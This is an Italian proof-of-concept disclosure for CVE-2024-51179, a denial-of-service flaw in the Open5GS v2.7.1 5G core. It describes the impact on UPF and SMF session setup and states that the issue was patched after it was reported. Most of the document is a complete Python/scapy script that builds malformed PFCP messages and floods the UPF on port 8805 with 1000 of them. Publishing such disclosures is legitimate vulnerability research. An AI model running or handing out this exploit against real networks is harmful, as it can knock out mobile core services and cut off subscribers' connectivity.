
Exploit proof-of-concept per CVE-2024-51179: l'inondazione di pacchetti PFCP appositamente creati causa un denial of service in Open5GS UPF/SMF, interrompendo l'instaurazione delle sessioni PDU del core 5G.
Descrizione: Un problema in Open5GS v.2.7.1 consente a un attaccante remoto di causare un denial of service attraverso le Virtualizzazioni delle Funzioni di Rete (NFV), come la User Plane Function (UPF) e la Session Management Function (SMF). Il processo di stabilimento della sessione Packet Data Unit (PDU) è influenzato dai crash che si verificano all'interno delle NFV.
Un attaccante, dopo aver ottenuto l'indirizzo IP della User Plane Function (UPF), la porta PFCP e il SEID (Session Endpoint Identifier), può creare e inondare di pacchetti PFCP (Packet Forwarding Control Protocol) dannosi la UPF. I parametri necessari possono essere intercettati usando strumenti come Wireshark se l'attaccante ha accesso al traffico del piano utente.
Tipo di vulnerabilità: Denial of Service
Impatto: All'invio del pacchetto dannoso, la UPF diventa errata, influenzando la creazione di nuove sessioni PDU. Inoltre, la SMF (Session Management Function) è influenzata a causa dell'inondazione di pacchetti PFCP dannosi, interrompendo le funzioni del Core.
Prerequisiti: La rete core 5G è stata configurata utilizzando Open5GS come rete core e UERANSIM come strumento di emulazione per la gNB (Next Generation NodeB) e l'UE (User Equipment).
PASSI PER ESEGUIRE L'ATTACCO
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.inet import IP, UDP
import socket
import struct
UPF_IP = "192.168.56.113"
UPF_PORT = 8805
message_type = 53
sequence_number = 1
seid = 0x0010000000000000
version = 1
spare = 0
mp = 0
s_flag = 1
byte0 = (version << 5) | (s_flag << 2)
length = 0
seid_bytes = seid.to_bytes(8, 'big')
sequence_number_bytes = sequence_number.to_bytes(3, 'big')
pfcp_header = struct.pack('!BBH', byte0, message_type, length) + seid_bytes + sequence_number_bytes
ie_type = 150
ie_length = 13
flags = 0x01
fseid_seid = seid.to_bytes(8, 'big')
fseid_ipv4 = socket.inet_aton(UPF_IP)
fseid_ie = struct.pack('!HHB', ie_type, ie_length, flags) + fseid_seid + fseid_ipv4
pfcp_message = pfcp_header + fseid_ie
pfcp_message_length = len(pfcp_message) - 4
pfcp_header_with_length = struct.pack('!BBH', byte0, message_type, pfcp_message_length) + seid_bytes + sequence_number_bytes
pfcp_message = pfcp_header_with_length + fseid_ie
packet = IP(dst=UPF_IP) / UDP(sport=RandShort(), dport=UPF_PORT) / Raw(load=pfcp_message)
packet[UDP].chksum = None
print(f"Packet Summary: {packet.summary()}")
hexdump(packet)
for _ in range(1000):
send(packet)
print("Sent 1000 malicious PFCP packets to UPF.")


La vulnerabilità, documentata come Issue #3497 sulla pagina GitHub di Open5GS (https://github.com/open5gs/open5gs/issues/3497), è stata segnalata al venditore di Open5GS, che ha identificato la causa principale come un problema di deallocazione della memoria che porta a crash di sistema. Una patch è stata applicata e il codice è stato aggiornato per risolvere il problema. Puoi visualizzare il codice aggiornato qui.
CVE-2024-51179 è stata pubblicata.
DIGITAL UNIVERSITY KERALA, CENTRE FOR DEVELOPMENT OF TELEMATICS(C-DOT)